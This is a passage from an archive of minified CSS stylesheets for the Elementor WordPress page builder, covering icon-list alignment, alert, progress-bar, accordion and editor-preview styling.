a{justify-content:flex-start;text-align:right}.elementor-widget.elementor-align-right .elementor-icon-list-items{justify-content:flex-start}.elementor-widget:not(.elementor-align-right) .elementor-icon-list-item:after{right:0}.elementor-widget:not(.elementor-align-left) .elementor-icon-list-item:after{left:0}@media (min-width:-1){.elementor-widget.elementor-widescreen-align-center .elementor-icon-list-item,.elementor-widget.elementor-widescreen-align-center .elementor-icon-list-item a{justify-content:center}.elementor-widget.elementor-widescreen-align-center .elementor-icon-list-item:after{margin:auto}.elementor-widget.elementor-widescreen-align-center .elementor-inline-items{justify-content:center}.elementor-widget.elementor-widescreen-align-left .elementor-icon-list-item,.elementor-widget.elementor-widescreen-align-left .elementor-icon-list-item a{justify-content:flex-end;text-align:left}.elementor-widget.elementor-widescreen-align-left .elementor-inline-items{justify-content:flex-end}.elementor-widget.elementor-widescreen-align-right .elementor-icon-list-item,.elementor-widget.elementor-widescreen-align-right .elementor-icon-list-item a{justify-content:flex-start;text-align:right}.elementor-widget.elementor-widescreen-align-right .elementor-icon-list-items{justify-content:flex-start}.elementor-widget:not(.elementor-widescreen-align-right) .elementor-icon-list-item:after{right:0}.elementor-widget:not(.elementor-widescreen-align-left) .elementor-icon-list-item:after{left:0}}@media (max-width:-1){.elementor-widget.elementor-laptop-align-center .elementor-icon-list-item,.elementor-widget.elementor-laptop-align-center .elementor-icon-list-item a{justify-content:center}.elementor-widget.elementor-laptop-align-center .elementor-icon-list-item:after{margin:auto}.elementor-widget.elementor-laptop-align-center .elementor-inline-items{justify-content:center}.elementor-widget.elementor-laptop-align-left .elementor-icon-list-item,.elementor-widget.elementor-laptop-align-left .elementor-icon-list-item a{justify-content:flex-end;text-align:left}.elementor-widget.elementor-laptop-align-left .elementor-inline-items{justify-content:flex-end}.elementor-widget.elementor-laptop-align-right .elementor-icon-list-item,.elementor-widget.elementor-laptop-align-right .elementor-icon-list-item a{justify-content:flex-start;text-align:right}.elementor-widget.elementor-laptop-align-right .elementor-icon-list-items{justify-content:flex-start}.elementor-widget:not(.elementor-laptop-align-right) .elementor-icon-list-item:after{right:0}.elementor-widget:not(.elementor-laptop-align-left) .elementor-icon-list-item:after{left:0}}@media (max-width:-1){.elementor-widget.elementor-tablet_extra-align-center .elementor-icon-list-item,.elementor-widget.elementor-tablet_extra-align-center .elementor-icon-list-item a{justify-content:center}.elementor-widget.elementor-tablet_extra-align-center .elementor-icon-list-item:after{margin:auto}.elementor-widget.elementor-tablet_extra-align-center .elementor-inline-items{justify-content:center}.elementor-widget.elementor-tablet_extra-align-left .elementor-icon-list-item,.elementor-widget.elementor-tablet_extra-align-left .elementor-icon-list-item a{justify-content:flex-end;text-align:left}.elementor-widget.elementor-tablet_extra-align-left .elementor-inline-items{justify-content:flex-end}.elementor-widget.elementor-tablet_extra-align-right .elementor-icon-list-item,.elementor-widget.elementor-tablet_extra-align-right .elementor-icon-list-item a{justify-content:flex-start;text-align:right}.elementor-widget.elementor-tablet_extra-align-right .elementor-icon-list-items{justify-content:flex-start}.elementor-widget:not(.elementor-tablet_extra-align-right) .elementor-icon-list-item:after{right:0}.elementor-widget:not(.elementor-tablet_extra-align-left) .elementor-icon-list-item:after{left:0}}@media (max-width:1024px){.elementor-widget.elementor-tablet-align-center .elementor-icon-list-item,.elementor-widget.elementor-tablet-align-center .elementor-icon-list-item a{justify-content:center}.elementor-widget.elementor-tablet-align-center .elementor-icon-list-item:after{margin:auto}.elementor-widget.elementor-tablet-align-center .elementor-inline-items{justify-content:center}.elementor-widget.elementor-tablet-align-left .elementor-icon-list-item,.elementor-widget.elementor-tablet-align-left .elementor-icon-list-item a{justify-content:flex-end;text-align:left}.elementor-widget.elementor-tablet-align-left .elementor-inline-items{justify-content:flex-end}.elementor-widget.elementor-tablet-align-right .elementor-icon-list-item,.elementor-widget.elementor-tablet-align-right .elementor-icon-list-item a{justify-content:flex-start;text-align:right}.elementor-widget.elementor-tablet-align-right .elementor-icon-list-items{justify-content:flex-start}.elementor-widget:not(.elementor-tablet-align-right) .elementor-icon-list-item:after{right:0}.elementor-widget:not(.elementor-tablet-align-left) .elementor-icon-list-item:after{left:0}}@media (max-width:-1){.elementor-widget.elementor-mobile_extra-align-center .elementor-icon-list-item,.elementor-widget.elementor-mobile_extra-align-center .elementor-icon-list-item a{justify-content:center}.elementor-widget.elementor-mobile_extra-align-center .elementor-icon-list-item:after{margin:auto}.elementor-widget.elementor-mobile_extra-align-center .elementor-inline-items{justify-content:center}.elementor-widget.elementor-mobile_extra-align-left .elementor-icon-list-item,.elementor-widget.elementor-mobile_extra-align-left .elementor-icon-list-item a{justify-content:flex-end;text-align:left}.elementor-widget.elementor-mobile_extra-align-left .elementor-inline-items{justify-content:flex-end}.elementor-widget.elementor-mobile_extra-align-right .elementor-icon-list-item,.elementor-widget.elementor-mobile_extra-align-right .elementor-icon-list-item a{justify-content:flex-start;text-align:right}.elementor-widget.elementor-mobile_extra-align-right .elementor-icon-list-items{justify-content:flex-start}.elementor-widget:not(.elementor-mobile_extra-align-right) .elementor-icon-list-item:after{right:0}.elementor-widget:not(.elementor-mobile_extra-align-left) .elementor-icon-list-item:after{left:0}}@media (max-width:767px){.elementor-widget.elementor-mobile-align-center .elementor-icon-list-item,.elementor-widget.elementor-mobile-align-center .elementor-icon-list-item a{justify-content:center}.elementor-widget.elementor-mobile-align-center .elementor-icon-list-item:after{margin:auto}.elementor-widget.elementor-mobile-align-center .elementor-inline-items{justify-content:center}.elementor-widget.elementor-mobile-align-left .elementor-icon-list-item,.elementor-widget.elementor-mobile-align-left .elementor-icon-list-item a{justify-content:flex-end;text-align:left}.elementor-widget.elementor-mobile-align-left .elementor-inline-items{justify-content:flex-end}.elementor-widget.elementor-mobile-align-right .elementor-icon-list-item,.elementor-widget.elementor-mobile-align-right .elementor-icon-list-item a{justify-content:flex-start;text-align:right}.elementor-widget.elementor-mobile-align-right .elementor-icon-list-items{justify-content:flex-start}.elementor-widget:not(.elementor-mobile-align-right) .elementor-icon-list-item:after{right:0}.elementor-widget:not(.elementor-mobile-align-left) .elementor-icon-list-item:after{left:0}}assets/css/widget-alert.min.css000064400000003157147206604650012542 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-alert{padding:15px;border-left:5px solid transparent;position:relative;text-align:start}.elementor-alert .elementor-alert-title{display:block;font-weight:700}.elementor-alert .elementor-alert-description{font-size:13px}.elementor-alert button.elementor-alert-dismiss{position:absolute;right:var(--dismiss-icon-horizontal-position,10px);top:var(--dismiss-icon-vertical-position,10px);padding:3px;font-size:var(--dismiss-icon-size,20px);line-height:1;background:transparent;color:var(--dismiss-icon-normal-color,inherit);border:none;cursor:pointer;transition-duration:var(--dismiss-icon-hover-transition-duration,.3s)}.elementor-alert button.elementor-alert-dismiss:hover{color:var(--dismiss-icon-hover-color,inherit)}.elementor-alert button.elementor-alert-dismiss svg{width:var(--dismiss-icon-size,20px);height:var(--dismiss-icon-size,20px);fill:var(--dismiss-icon-normal-color,currentColor);transition-duration:var(--dismiss-icon-hover-transition-duration,.3s)}.elementor-alert button.elementor-alert-dismiss svg:hover{fill:var(--dismiss-icon-hover-color,currentColor)}.elementor-alert-info .elementor-alert{color:#31708f;background-color:#d9edf7;border-color:#bcdff1}.elementor-alert-success .elementor-alert{color:#3c763d;background-color:#dff0d8;border-color:#cae6be}.elementor-alert-warning .elementor-alert{color:#8a6d3b;background-color:#fcf8e3;border-color:#f9f0c3}.elementor-alert-danger .elementor-alert{color:#a94442;background-color:#f2dede;border-color:#e8c4c4}@media (max-width:767px){.elementor-alert{padding:10px}.elementor-alert button.elementor-alert-dismiss{right:7px;top:7px}}assets/css/widget-progress.min.css000064400000002315147206604650013272 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-progress{text-align:start}.elementor-progress-wrapper{position:relative;background-color:#eee;color:#fff;height:100%;border-radius:2px}.elementor-progress-bar{display:flex;background-color:#69727d;width:0;font-size:11px;height:30px;line-height:30px;border-radius:2px;transition:width 1s ease-in-out}.elementor-progress-text{flex-grow:1;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;padding-inline-start:15px}.elementor-progress-percentage{padding-inline-end:15px}.elementor-widget-progress .elementor-progress-wrapper.progress-info .elementor-progress-bar{background-color:#5bc0de}.elementor-widget-progress .elementor-progress-wrapper.progress-success .elementor-progress-bar{background-color:#5cb85c}.elementor-widget-progress .elementor-progress-wrapper.progress-warning .elementor-progress-bar{background-color:#f0ad4e}.elementor-widget-progress .elementor-progress-wrapper.progress-danger .elementor-progress-bar{background-color:#d9534f}.elementor-progress .elementor-title{display:block}@media (max-width:767px){.elementor-progress-text{padding-inline-start:10px}}.e-con-inner .elementor-progress-wrapper,.e-con .elementor-progress-wrapper{height:auto}assets/css/widget-nested-accordion-rtl.min.css000064400000011501147206604650015443 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-n-accordion{--n-accordion-title-font-size:20px;--n-accordion-title-flex-grow:initial;--n-accordion-title-justify-content:initial;--n-accordion-title-icon-order:-1;--n-accordion-border-width:1px;--n-accordion-border-color:#d5d8dc;--n-accordion-border-style:solid;--n-accordion-item-title-flex-grow:initial;--n-accordion-item-title-space-between:0px;--n-accordion-item-title-distance-from-content:0px;--n-accordion-padding:10px;--n-accordion-border-radius:0px;--n-accordion-icon-size:15px;--n-accordion-title-normal-color:#1f2124;--n-accordion-title-hover-color:#1f2124;--n-accordion-title-active-color:#1f2124;--n-accordion-icon-normal-color:var(--n-accordion-title-normal-color);--n-accordion-icon-hover-color:var(--n-accordion-title-hover-color);--n-accordion-icon-active-color:var(--n-accordion-title-active-color);--n-accordion-icon-gap:0 10px;width:100%}.elementor-widget-n-accordion .e-n-accordion details>summary::-webkit-details-marker{display:none}.elementor-widget-n-accordion .e-n-accordion-item{display:flex;flex-direction:column;position:relative}.elementor-widget-n-accordion .e-n-accordion-item:not(:last-child){margin-block-end:var(--n-accordion-item-title-space-between)}.elementor-widget-n-accordion .e-n-accordion-item-title,:where(.elementor-widget-n-accordion .e-n-accordion-item>.e-con){border:var(--n-accordion-border-width) var(--n-accordion-border-style) var(--n-accordion-border-color)}.elementor-widget-n-accordion .e-n-accordion-item-title{display:flex;flex-direction:row;list-style:none;padding:var(--n-accordion-padding);justify-content:var(--n-accordion-title-justify-content);border-radius:var(--n-accordion-border-radius);flex-grow:var(--n-menu-title-flex-grow);gap:var(--n-accordion-icon-gap);color:var(--n-accordion-title-normal-color);align-items:center;cursor:pointer}.elementor-widget-n-accordion .e-n-accordion-item-title-header{display:flex}.elementor-widget-n-accordion .e-n-accordion-item-title-header h1,.elementor-widget-n-accordion .e-n-accordion-item-title-header h2,.elementor-widget-n-accordion .e-n-accordion-item-title-header h3,.elementor-widget-n-accordion .e-n-accordion-item-title-header h4,.elementor-widget-n-accordion .e-n-accordion-item-title-header h5,.elementor-widget-n-accordion .e-n-accordion-item-title-header h6,.elementor-widget-n-accordion .e-n-accordion-item-title-header p{margin-block-start:0;margin-block-end:0}.elementor-widget-n-accordion .e-n-accordion-item-title-text{font-size:var(--n-accordion-title-font-size);align-items:center}.elementor-widget-n-accordion .e-n-accordion-item-title-icon{display:flex;flex-direction:row;align-items:center;order:var(--n-accordion-title-icon-order);position:relative;width:-moz-fit-content;width:fit-content}.elementor-widget-n-accordion .e-n-accordion-item-title-icon span{height:var(--n-accordion-icon-size);width:auto}.elementor-widget-n-accordion .e-n-accordion-item-title-icon span>i{color:var(--n-accordion-icon-normal-color);font-size:var(--n-accordion-icon-size)}.elementor-widget-n-accordion .e-n-accordion-item-title-icon span>svg{fill:var(--n-accordion-icon-normal-color);height:var(--n-accordion-icon-size)}.elementor-widget-n-accordion .e-n-accordion-item-title>span{cursor:pointer}.elementor-widget-n-accordion .e-n-accordion-item[open] .e-n-accordion-item-title{margin-block-end:var(--n-accordion-item-title-distance-from-content);color:var(--n-accordion-title-active-color)}.elementor-widget-n-accordion .e-n-accordion-item[open] .e-n-accordion-item-title-icon .e-opened{display:flex}.elementor-widget-n-accordion .e-n-accordion-item[open] .e-n-accordion-item-title-icon .e-closed{display:none}.elementor-widget-n-accordion .e-n-accordion-item[open] .e-n-accordion-item-title-icon span>i{color:var(--n-accordion-icon-active-color)}.elementor-widget-n-accordion .e-n-accordion-item[open] .e-n-accordion-item-title-icon span>svg{fill:var(--n-accordion-icon-active-color)}.elementor-widget-n-accordion .e-n-accordion-item:not([open]):hover .e-n-accordion-item-title{color:var(--n-accordion-title-hover-color)}.elementor-widget-n-accordion .e-n-accordion-item:not([open]):hover .e-n-accordion-item-title-icon span>i{color:var(--n-accordion-icon-hover-color)}.elementor-widget-n-accordion .e-n-accordion-item:not([open]):hover .e-n-accordion-item-title-icon span>svg{fill:var(--n-accordion-icon-hover-color)}.elementor-widget-n-accordion .e-n-accordion-item .e-n-accordion-item-title-icon .e-opened{display:none}.elementor-widget-n-accordion .e-n-accordion-item .e-n-accordion-item-title-icon .e-closed{display:flex}.elementor-widget-n-accordion .e-n-accordion-item .e-n-accordion-item-title-icon span>svg{fill:var(--n-accordion-icon-normal-color)}.elementor-widget-n-accordion .e-n-accordion-item .e-n-accordion-item-title-icon span>i{color:var(--n-accordion-icon-normal-color)}.elementor-widget-n-accordion .e-n-accordion-item>span{cursor:pointer}assets/css/editor-preview.min.css000064400000337113147206604650013121 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-hidden{display:none}.elementor-visibility-hidden{visibility:hidden}.elementor-screen-only,.screen-reader-text,.screen-reader-text span,.ui-helper-hidden-accessible{position:absolute;top:-10000em;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0,0,0,0);border:0}.elementor-clearfix:after{content:"";display:block;clear:both;width:0;height:0}.e-logo-wrapper{background:var(--e-a-bg-logo);display:inline-block;padding:.75em;border-radius:50%;line-height:1}.e-logo-wrapper i{color:var(--e-a-color-logo);font-size:1em}:root{--e-a-color-white:#fff;--e-a-color-black:#000;--e-a-color-logo:#fff;--e-a-color-primary:#f3bafd;--e-a-color-primary-bold:#d004d4;--e-a-color-secondary:#515962;--e-a-color-success:#0a875a;--e-a-color-danger:#dc2626;--e-a-color-info:#2563eb;--e-a-color-warning:#f59e0b;--e-a-color-accent:#93003f;--e-a-color-global:#1dddbf;--e-a-color-accent-promotion:#93003f;--e-a-bg-default:#fff;--e-a-bg-invert:#0c0d0e;--e-a-bg-hover:#f1f2f3;--e-a-bg-active:#e6e8ea;--e-a-bg-active-bold:#d5d8dc;--e-a-bg-loading:#f9fafa;--e-a-bg-logo:#000;--e-a-bg-primary:#fae8ff;--e-a-bg-secondary:#515962;--e-a-bg-success:#f2fdf5;--e-a-bg-info:#f0f7ff;--e-a-bg-danger:#fef1f4;--e-a-bg-warning:#fffbeb;--e-a-color-txt:#515962;--e-a-color-txt-muted:#818a96;--e-a-color-txt-disabled:#babfc5;--e-a-color-txt-invert:#fff;--e-a-color-txt-accent:#0c0d0e;--e-a-color-txt-hover:#3f444b;--e-a-color-txt-active:#0c0d0e;--e-a-border-color:#e6e8ea;--e-a-border-color-bold:#d5d8dc;--e-a-border-color-focus:#babfc5;--e-a-border-color-accent:#0c0d0e;--e-a-border:1px solid var(--e-a-border-color);--e-a-border-bold:1px solid var(--e-a-border-color-bold);--e-a-border-radius:3px;--e-a-btn-color:#0c0d0e;--e-a-btn-color-invert:var(--e-a-color-txt-invert);--e-a-btn-color-disabled:var(--e-a-color-txt-disabled);--e-a-btn-bg:#515962;--e-a-btn-bg-hover:#3a4046;--e-a-btn-bg-active:#23262a;--e-a-btn-bg-disabled:#d5d8dc;--e-a-btn-bg-primary:#f3bafd;--e-a-btn-bg-primary-hover:#f5d0fe;--e-a-btn-bg-primary-active:#f0abfc;--e-a-btn-bg-accent:#93003f;--e-a-btn-bg-accent-hover:#8f1a4c;--e-a-btn-bg-accent-active:#a93365;--e-a-btn-bg-info:#2563eb;--e-a-btn-bg-info-hover:#134cca;--e-a-btn-bg-info-active:#0e3b9c;--e-a-btn-bg-success:#0a875a;--e-a-btn-bg-success-hover:#06583a;--e-a-btn-bg-success-active:#03281b;--e-a-btn-bg-warning:#f59e0b;--e-a-btn-bg-warning-hover:#c57f08;--e-a-btn-bg-warning-active:#945f06;--e-a-btn-bg-danger:#dc2626;--e-a-btn-bg-danger-hover:#b21d1d;--e-a-btn-bg-danger-active:#861616;--e-a-dark-bg:#0c0d0e;--e-a-dark-color-txt:#9da5ae;--e-a-dark-color-txt-hover:#d5d8dc;--e-a-font-family:Roboto,Arial,Helvetica,sans-serif;--e-a-transition-hover:all .3s;--e-a-popover-shadow:0 2px 15px rgba(0,0,0,0.3);--e-a-dropdown-shadow:0 0 3px rgba(0,0,0,0.2)}.elementor-control-unit-1{width:27px}.elementor-control-unit-2{width:54px}.elementor-control-unit-3{width:81px}.elementor-control-unit-4{width:108px}.elementor-control-unit-5{max-width:400px;width:52%}.elementor-tags-list{display:none;position:absolute;width:260px;max-height:300px;overflow:auto;padding-block-end:5px;background-color:var(--e-a-bg-default);box-shadow:var(--e-a-popover-shadow);border:var(--e-a-border);border-radius:3px;z-index:10000}.elementor-tags-list__group-title{font-weight:700;font-size:12px;padding:10px 15px;display:flex;align-items:center}.elementor-tags-list__group-title .eicon-info-circle{padding-inline-end:5px;color:var(--e-a-color-primary-bold);font-size:14px}.elementor-tags-list__item{font-size:10px;padding:6px 15px;cursor:pointer}.elementor-tags-list__item:before{content:">";font-size:8px;padding-inline-end:5px}.elementor-tags-list__item:hover{background-color:var(--e-a-bg-hover)}.elementor-tags-list__teaser{border-block-start:2px solid var(--e-a-border-color);padding-block-start:4px;margin-block-start:4px}.elementor-tags-list__teaser-text{padding:2px 15px 8px;line-height:1.5;font-size:12px}.elementor-tags-list__teaser-link{color:var(--e-a-color-primary-bold);text-decoration:underline;font-style:italic;font-weight:700}.elementor-dynamic-cover{display:flex;align-items:center;width:100%;height:27px;box-sizing:border-box}.elementor-dynamic-cover__title{padding:0 8px;flex-grow:1;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.elementor-dynamic-cover__remove,.elementor-dynamic-cover__settings{cursor:pointer;transition:var(--e-a-transition-hover)}.elementor-dynamic-cover__remove:hover,.elementor-dynamic-cover__settings:hover{color:var(--e-a-color-txt-hover)}.elementor-control-type-wysiwyg .elementor-dynamic-cover{margin-block-start:10px}.elementor-tag-settings-popup{position:absolute;width:260px;background-color:var(--e-a-bg-default);border:var(--e-a-border);box-shadow:var(--e-a-popover-shadow);z-index:1}.elementor-tag-settings-popup:before{content:"";position:absolute;top:-20px;left:5px;border:10px solid transparent;border-block-end-color:var(--e-a-border-color)}.elementor-tag-settings-popup .elementor-control-type-section:first-child{margin:0}.elementor-tag-controls-stack-empty{background-color:var(--e-a-bg-default);padding:10px;font-size:13px;text-align:center}.elementor-control-dynamic input{border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:0;border-end-end-radius:0;border-end-start-radius:var(--e-a-border-radius)}.elementor-control-dynamic-switcher{display:inline-flex;align-items:center;justify-content:center;flex-shrink:0;height:27px;cursor:pointer;border:var(--e-a-border-bold);background:var(--e-a-bg-default);border-inline-start-width:0;border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:var(--e-a-border-radius);border-end-start-radius:0;transition:var(--e-a-transition-hover)}.elementor-control-dynamic-switcher:hover{background-color:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}.elementor-control-dynamic-switcher.e-control-tool{height:20px;border:0}.elementor-control-dynamic-switcher-wrapper{display:flex}.elementor-control-dynamic-switcher .eicon-database{font-size:12px}.elementor-control-dynamic-value .e-global__popover-toggle,.elementor-control-dynamic-value .elementor-control-dynamic-switcher,.elementor-control-dynamic-value .elementor-control-tag-area{display:none}.elementor-panel-box-content{padding:20px 20px 10px}.elementor-button{display:inline-block}.elementor-panel-alert{background-color:var(--e-a-bg-primary);padding:15px;border-inline-start:3px solid var(--e-a-color-primary);position:relative;font-size:12px;font-weight:300;font-style:italic;line-height:1.5;text-align:start;border-start-start-radius:0;border-start-end-radius:3px;border-end-start-radius:0;border-end-end-radius:3px}.elementor-panel-alert a{color:inherit}.elementor-panel-alert.elementor-panel-alert-info{border-color:var(--e-a-color-info);background:var(--e-a-bg-info)}.elementor-panel-alert.elementor-panel-alert-success{border-color:var(--e-a-color-success);background:var(--e-a-bg-success)}.elementor-panel-alert.elementor-panel-alert-warning{border-inline-start:3px solid var(--e-a-color-warning);background:var(--e-a-bg-warning)}.elementor-panel-alert.elementor-panel-alert-danger{border-color:var(--e-a-color-danger);background:var(--e-a-bg-danger)}.elementor-control-field-description,.elementor-descriptor{font-size:11px;font-style:italic;line-height:1.4;color:var(--e-a-color-txt-muted)}.elementor-controls-popover{display:none;position:absolute;box-shadow:var(--e-a-popover-shadow);border-radius:var(--e-a-border-radius);left:0;right:0;margin:-4px auto 5px;padding-block-start:15px;width:90%;z-index:10000;background-color:var(--e-a-bg-default)}.elementor-controls-popover:before{content:"";position:absolute;top:-16px;right:22px;border:8px solid transparent;border-block-end-color:var(--e-a-bg-default)}.elementor-controls-popover div.elementor-control{background-color:transparent}.elementor-controls-popover div.elementor-control:before{content:none}#elementor-panel-global .elementor-nerd-box .elementor-nerd-box-icon{margin-block-start:20px}.elementor-control{--control-title-size:12px;position:relative;padding:0 20px 15px}.elementor-control a{font-weight:500;text-decoration:none;border-block-end:1px dotted transparent;transition:all .3s ease-in-out}.elementor-control a:hover{border-block-end-color:inherit}.elementor-control .elementor-control-content{display:flex;flex-direction:column}.elementor-control .elementor-control-title{font-size:var(--control-title-size);line-height:1;margin-inline-end:5px}.elementor-control .elementor-control-title:empty{display:none}.elementor-control .elementor-control-spinner{display:flex;align-items:center}.elementor-control.elementor-control-type-divider{padding:0}.elementor-control.elementor-control-type-divider .elementor-control-content{border-width:0;border-block-start:var(--e-a-border);background-color:var(--e-a-bg-default);height:15px}.elementor-control.elementor-control-separator-before{padding-block-start:15px}.elementor-control.elementor-control-separator-before:before{content:"";position:absolute;height:1px;width:calc(100% - 40px);top:0;left:20px;background-color:var(--e-a-border-color)}.elementor-control.elementor-control-separator-after:after{content:"";position:absolute;height:1px;width:calc(100% - 40px);bottom:0;left:20px;background-color:var(--e-a-border-color)}.elementor-control.elementor-control-separator-after+.elementor-control-type-tabs+.elementor-control-separator-default,.elementor-control.elementor-control-separator-after:not(.elementor-hidden-control)+.elementor-control-separator-default{padding-block-start:15px}.elementor-control.elementor-control-deprecated,.elementor-control.elementor-control-deprecated .elementor-control-field-description{color:var(--e-a-color-warning)}.elementor-control.elementor-control-hidden-label>*>*>.elementor-control-title,.elementor-control.elementor-control-hidden-label>*>.elementor-control-title,.elementor-control.elementor-hidden-control{display:none}.elementor-control.elementor-control-type-heading .elementor-control-title{font-weight:700;margin:0}body:not(.elementor-device-desktop) .elementor-control.elementor-control-responsive-desktop,body:not(.elementor-device-laptop) .elementor-control.elementor-control-responsive-laptop,body:not(.elementor-device-mobile) .elementor-control.elementor-control-responsive-mobile,body:not(.elementor-device-mobile_extra) .elementor-control.elementor-control-responsive-mobile_extra,body:not(.elementor-device-tablet) .elementor-control.elementor-control-responsive-tablet,body:not(.elementor-device-tablet_extra) .elementor-control.elementor-control-responsive-tablet_extra,body:not(.elementor-device-widescreen) .elementor-control.elementor-control-responsive-widescreen{display:none}.elementor-control-custom_attributes_pro .elementor-nerd-box-message,.elementor-control-custom_css_pro .elementor-nerd-box-message{margin-block-start:5px}.elementor-control.e-open .elementor-panel-heading-toggle .eicon:before,.elementor-control.elementor-active .elementor-panel-heading-toggle .eicon:before,.elementor-panel-category.e-open .elementor-panel-heading-toggle .eicon:before,.elementor-panel-category.elementor-active .elementor-panel-heading-toggle .eicon:before,.elementor-panel-scheme-item.e-open .elementor-panel-heading-toggle .eicon:before,.elementor-panel-scheme-item.elementor-active .elementor-panel-heading-toggle .eicon:before{content:"\e92a"}.elementor-control:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before,.elementor-panel-category:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before,.elementor-panel-scheme-item:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before{content:"\e90a"}.elementor-panel-heading{display:flex;align-items:center;gap:5px;height:48px;padding-inline:20px;width:100%;border:0;border-block-start:var(--e-a-border);border-block-start-width:2px;background-color:transparent;color:var(--e-a-color-txt-accent);cursor:pointer}.elementor-panel-heading-toggle{width:10px;display:flex;flex-direction:column;align-items:center}.elementor-panel-heading-title{font-weight:700}.elementor-panel-heading-promotion{margin-inline-start:auto}.elementor-panel-heading-promotion a{color:var(--e-a-color-accent-promotion);font-family:Roboto,sans-serif;font-weight:500;font-size:13px}.elementor-panel-heading-promotion a i{margin-inline-end:4px;font-size:14px}.elementor-panel-heading-promotion a:hover{color:var(--e-a-color-accent-promotion)}.elementor-panel-heading:focus-visible{color:var(--e-a-color-txt-hover)}#elementor-controls .elementor-control-type-section:first-child .elementor-panel-heading{border-block-start:none}.elementor-control-field{display:flex;align-items:center}.elementor-label-block>.elementor-control-content>.elementor-control-field{flex-wrap:wrap}.elementor-label-block>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{width:100%;max-width:100%;margin-block-start:10px}.elementor-label-block>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper>.elementor-choices label{width:auto;flex:1 1 27px;display:flex;align-items:center;justify-content:center}.elementor-label-block.elementor-control-hidden-label.elementor-label-block>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper,.elementor-label-block.elementor-control-hidden-label:not(.elementor-control-dynamic)>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{margin-block-start:0}.elementor-label-inline>.elementor-control-content>.elementor-control-field>.elementor-control-title{flex-shrink:0;max-width:60%}.elementor-label-inline>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{margin-inline-start:auto}.elementor-control-field-description{margin-block-start:10px}.elementor-group-control-attachment_alert .elementor-control-field-description{margin-block-start:0}.elementor-update-preview{margin:15px 15px 0;display:flex;align-items:center}.elementor-update-preview-button-wrapper{flex-grow:1;text-align:end}.elementor-update-preview-button{padding:8px 15px}.elementor-control-direction-ltr input,.elementor-control-direction-ltr textarea{direction:ltr}.elementor-control-direction-rtl input,.elementor-control-direction-rtl textarea{direction:rtl}.elementor-control-alert{display:flex;flex-direction:column;justify-content:flex-start;align-items:flex-start;gap:8px}.elementor-control-alert-heading{font-weight:700}.elementor-control-type-button .elementor-control-input-wrapper{text-align:end}.elementor-control-type-button .elementor-button{width:auto}.elementor-control-type-button .elementor-button.elementor-button-center{display:block;margin:0 auto}.elementor-control-type-choose.elementor-label-block .elementor-choices{width:100%}.elementor-choices{display:flex;height:27px;line-height:27px;text-align:center;border-spacing:1px;border-radius:var(--e-a-border-radius);overflow:hidden}.elementor-choices .elementor-choices-label{border-block-start:var(--e-a-border-bold);border-block-end:var(--e-a-border-bold);border-inline-start:var(--e-a-border-bold);border-inline-end:none;font-size:12px;transition:var(--e-a-transition-hover);cursor:pointer;overflow:hidden}.elementor-choices .elementor-choices-label:nth-child(2){border-start-start-radius:var(--e-a-border-radius);border-end-start-radius:var(--e-a-border-radius)}.elementor-choices .elementor-choices-label:last-child{border-inline-end:var(--e-a-border-bold);border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:var(--e-a-border-radius)}.elementor-choices input{display:none}.elementor-choices input:hover+.elementor-choices-label{background-color:var(--e-a-bg-hover)}.elementor-choices input.e-choose-placeholder+.elementor-choices-label,.elementor-choices input:checked+.elementor-choices-label{background-color:var(--e-a-bg-active-bold);color:var(--e-a-color-txt-accent)}.elementor-label-inline .elementor-choices{justify-content:flex-end}.elementor-control-type-color.e-control-global .pickr{border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius);flex-shrink:0;border-color:var(--e-a-border-color-bold);transition:var(--e-a-transition-hover)}.elementor-control-type-color.e-control-global .pickr:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-color.e-control-global .e-global__popover-toggle:not(.e-global__popover-toggle--active)~.pickr{background-color:var(--e-a-bg-active-bold)}.elementor-control-type-color .elementor-control-title{flex-grow:1}.elementor-control-type-color .elementor-control-input-wrapper{display:flex;justify-content:flex-end}.elementor-group-control-css-filter .elementor-slider{height:6px;box-shadow:inset 0 0 1px 1px rgba(0,0,0,.2)}.elementor-group-control-css-filter .elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{margin-block-start:0;margin-block-end:5px}.elementor-group-control-blur .elementor-slider{background:url(../images/blur.png);background-size:cover;background-position:50%}.elementor-group-control-contrast .elementor-slider{background:url(../images/contrast.png);background-size:100% 100%}.elementor-group-control-hue .elementor-slider{background-image:linear-gradient(90deg,red,orange,#ff0,#adff2f,#32cd32,#00bfff,#00f,#9400d3 95%)}.elementor-group-control-saturate .elementor-slider{background-image:linear-gradient(90deg,grey,red)}.elementor-group-control-brightness .elementor-slider{background-image:linear-gradient(90deg,#000,#fff)}.elementor-control-type-dimensions .elementor-control-dimensions{display:flex}.elementor-control-type-dimensions li{flex:1;transition:flex-grow .3s ease-in-out}.elementor-control-type-dimensions li .elementor-link-dimensions,.elementor-control-type-dimensions li input{display:block;text-align:center;width:100%;height:27px}.elementor-control-type-dimensions li input{border-inline-start:none;border-radius:0;padding:var(--e-a-border-radius)}.elementor-control-type-dimensions li input:focus{border-inline-start:var(--e-a-border-bold);margin-inline-start:-1px;width:calc(100% + 1px)}.elementor-control-type-dimensions li input:focus+.elementor-control-dimension-label{color:var(--e-a-color-txt)}.elementor-control-type-dimensions li 